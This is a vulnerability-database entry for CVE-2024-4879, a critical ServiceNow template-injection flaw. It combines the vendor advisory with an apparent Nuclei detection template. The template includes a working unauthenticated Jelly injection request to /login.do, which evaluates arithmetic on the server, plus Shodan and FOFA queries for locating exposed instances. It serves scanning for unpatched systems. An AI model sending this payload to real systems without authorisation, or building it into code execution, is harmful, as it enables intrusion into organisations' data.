ServiceNow UI Macros - Template Injection

2024-07-1106:34:11

ProjectDiscovery

github.com

servicenow

input validation

vulnerability

now platform

remote code execution

security patches

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS4

9.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/SC:N/VI:H/SI:N/VA:H/SA:N

AI Score

9.6

Confidence

High

EPSS

0.965

Percentile

99.6%

JSON

ServiceNow has addressed an input validation vulnerability that was identified in Vancouver and Washington DC Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. ServiceNow applied an update to hosted instances, and ServiceNow released the update to our partners and self-hosted customers. Listed below are the patches and hot fixes that address the vulnerability. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.

id: CVE-2024-4879

info:
  name: ServiceNow UI Macros - Template Injection
  author: DhiyaneshDk,ritikchaddha
  severity: unknown
  description: |
    ServiceNow has addressed an input validation vulnerability that was identified in Vancouver and Washington DC Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. ServiceNow applied an update to hosted instances, and ServiceNow released the update to our partners and self-hosted customers. Listed below are the patches and hot fixes that address the vulnerability. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.
  reference:
    - https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1644293
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1645154
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4879
  metadata:
    verified: true
    max-request: 1
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.favicon.hash:"1701804003"
      - http.title:"servicenow"
    fofa-query:
      - icon_hash=1701804003
      - title="servicenow"
    google-query: intitle:"servicenow"
  tags: cve,cve2024,servicenow,ssti,kev

http:
  - raw:
      - |
        GET /login.do?jvar_page_title=<style><j:jelly%20xmlns:j="jelly"%20xmlns:g=%27glide%27><g:evaluate>gs.addErrorMessage(1337*1337);</g:evaluate></j:jelly></style> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<div class="outputmsg_text">1787569</div>'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a00463044022063984d3cbce5745d043c5c9cc387f8053cac782d8047425802957d46af6c4a3502205a4c9c52d6c30c5648035192252a7f7e9bb93fb649b1049b1340060765d10da4:922c64590222798bb761d5b6d8e72950